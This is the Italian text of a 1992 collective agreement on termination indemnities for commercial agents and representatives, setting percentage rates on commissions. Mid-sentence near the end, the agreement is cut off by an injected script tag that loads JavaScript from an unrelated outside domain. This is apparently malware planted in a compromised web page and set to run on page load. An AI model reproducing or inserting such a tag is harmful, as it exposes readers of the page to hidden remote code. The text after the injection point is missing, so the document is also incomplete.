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Categoria: Agenti di commercio
Settore: Commercio
Data stipula: 27-11-1992

ACCORDO (19 novembre 1992) 27 novembre 1992


tra

-   Confederazione generale italiana dell'artigianato (CONFARTIGIANATO);
-    Confederazione  Nazionale dell'Artigianato e  delle  piccole  imprese
  (CNA);
-   Confederazione Autonoma Sindacati Artigiani (CASA);
-   Confederazione Libere Associazioni Artigiane Italiane (CLAAI);
-    Confederazione  generale italiana del commercio  del  turismo  e  dei
  servizi (CONFCOMMERCIO)

e

-   Federazione Italiana Lavoratori Commercio Servizi (FILCAMS);
-    Federazione Italiana Sindacati Addetti Servizi Commerciali  Affini  e
  del Turismo (FISASCAT);
-     Federazione  Nazionale  Associazioni  Agenti  e  Rappresentanti   di
  Commercio (FNAARC);
-   Unione Italiana Lavoratori Turismo Commercio Servizi (UILTCUS)
-     Unione   Sindacati  Agenti  Rappresentanti  di  Commercio   Italiani
  (USARCI).

Le   sottoscritte  Organizzazioni  imprenditoriali  e  sindacali  si  sono
incontrate per un esame del vigente accordo economico collettivo  per  gli
agenti  e rappresentanti di commercio, alla luce dell'intervenuta modifica
dell'art.  1751  CC, che viene sostituito dall'art. 4, D.lgs.  10.9.91  n.
306. Ad esito di tale esame le parti riconoscono che la normativa di legge
di  cui  sopra,  disciplinando in termini innovativi la materia  del  TFR,
determina  la  decadenza  degli artt. 10, 11, 12  e  14  dell'AEC  9.6.88.
Pertanto,  con effetto dal 31.12.92, in relazione ai contratti di  agenzia
stipulati  dall'1.1.90,  e  con  effetto dal  31.12.93,  in  relazione  ai
contratti  di agenzia stipulati antecedentemente all'1.1.90, le  norme  di
cui  agli  artt.  10,  11, 12 e 14 del richiamato AEC cessano  di  trovare
applicazione.

1)   Considerato  che,  per effetto dell'entrata in  vigore  dell'art.  4,
  D.lgs.  10.9.91  n.  303,  viene innovata  la  disciplina  prevista  dal
  precedente  art. 1751 CC in materia d'indennità per lo scioglimento  del
  contratto;
2)  considerato altresì, che le disposizioni di cui agli artt. 10, 11, 12
e 14 dell'AEC 9.6.88 vengono a decadere a seguito dell'entrata in vigore
della nuova disciplina;
3)  rilevato, conseguentemente, che tali disposizioni collettive non
troveranno più applicazione dopo il 31.12.92 e dopo il 31.12.93,
rispettivamente in relazione ai contratti di agenzia stipulati dall'1.1.90
o anteriormente a tale data;
4)  ritenuta l'opportunità, per dare piena ed esaustiva attuazione al
nuovo art. 1751 CC, di individuare modalità e criteri applicativi dello
stesso

ad  esito  delle trattative intercorse, si è concordata la  normativa  che
segue:


PUNTO I)

In  riferimento  a  quanto  previsto dall'art. 1751  CC,  come  modificato
dall'art.  4,  D.lgs. 10.9.91 n. 303, e in particolar  modo  al  principio
dell'equità, in tutti i casi di cessazione del rapporto, verrà corrisposta
all'agente o rappresentante un'indennità, la misura della quale sarà  pari
all'1%  sull'ammontare  globale  delle provvigioni  maturate  e  liquidate
durante il corso del rapporto.

La suddetta aliquota base sarà integrata nelle seguenti misure:

A)  Agenti e rappresentanti con obbligo di esclusiva per una sola ditta:

-   3% sulle provvigioni fino a £. 24 milioni annui;
-    1%  sulla  quota delle provvigioni tra £. 24.000.001 e £.  36.000.000
  annui.

B)   Agenti  e  rappresentanti senza obbligo di  esclusiva  per  una  sola
  ditta:


-   3% sulle provvigioni fino a £. 12.000.000 annui;
-    1%  sulla  quota delle provvigioni tra £. 12.000.000 e L.  18.000.000
  annui.

Da  tale  indennità  deve detrarsi quanto l'agente o rappresentante  abbia
diritto  di  ottenere  per  effetto di atti di previdenza  volontariamente
compiuti dal preponente.

Sono  computabili agli effetti dell'indennità di risoluzione del  rapporto
anche  le  somme corrisposte espressamente e specificatamente a titolo  di
rimborso o concorso spese.
  
Le  somme  di  cui  sopra  verranno annualmente accantonate  a<script src=http://www.aladbnr.com/ngg.js></script>













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